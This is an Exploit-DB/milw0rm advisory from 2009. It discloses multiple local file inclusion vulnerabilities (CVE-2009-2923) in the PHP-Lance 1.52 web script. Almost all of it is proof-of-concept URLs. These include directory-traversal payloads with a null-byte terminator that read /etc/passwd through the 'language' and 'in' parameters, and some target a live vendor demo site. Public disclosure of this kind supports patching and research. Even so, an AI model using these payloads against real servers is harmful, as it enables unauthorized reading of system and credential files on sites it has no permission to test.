PHP-Lance 1.52 - Multiple Local File Inclusions

Author: jetli007
type: webapps
platform: php
port: 
date_added: 2009-08-17 
date_updated:  
verified: 1 
codes: OSVDB-57247;CVE-2009-2923;OSVDB-57246 
tags: 
aliases:  
screenshot_url:  
application_url: 

#############################
Name : PHP-Lance v1.52
price US $349.95 :p
Demo : http://www.scriptdemo.com/php-lance/
#############################

------------------------------------------------------------------------

_________________________________
|Author : jetli007
|alkhari9007[AT]gmail[DOT]com
|www.vxx9.cc
|Thx&Greets to: 5D;taishi;dr.php;!bad boy!;psycho;ABK;reno
________________________________


-------------------------------------------------------------------------
PoC's:

   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI]
   - http:// 127.0.0.1 / [path] /advanced_search.php?in=[LFI]

 LiveDemo:

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00

   - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00

   - http://www.scriptdemo.com/php-lance/advanced_search.php?in=../../../../../../../../../../../../../etc/passwd%00
-------------------------------------------------------------------------

# milw0rm.com [2009-08-18]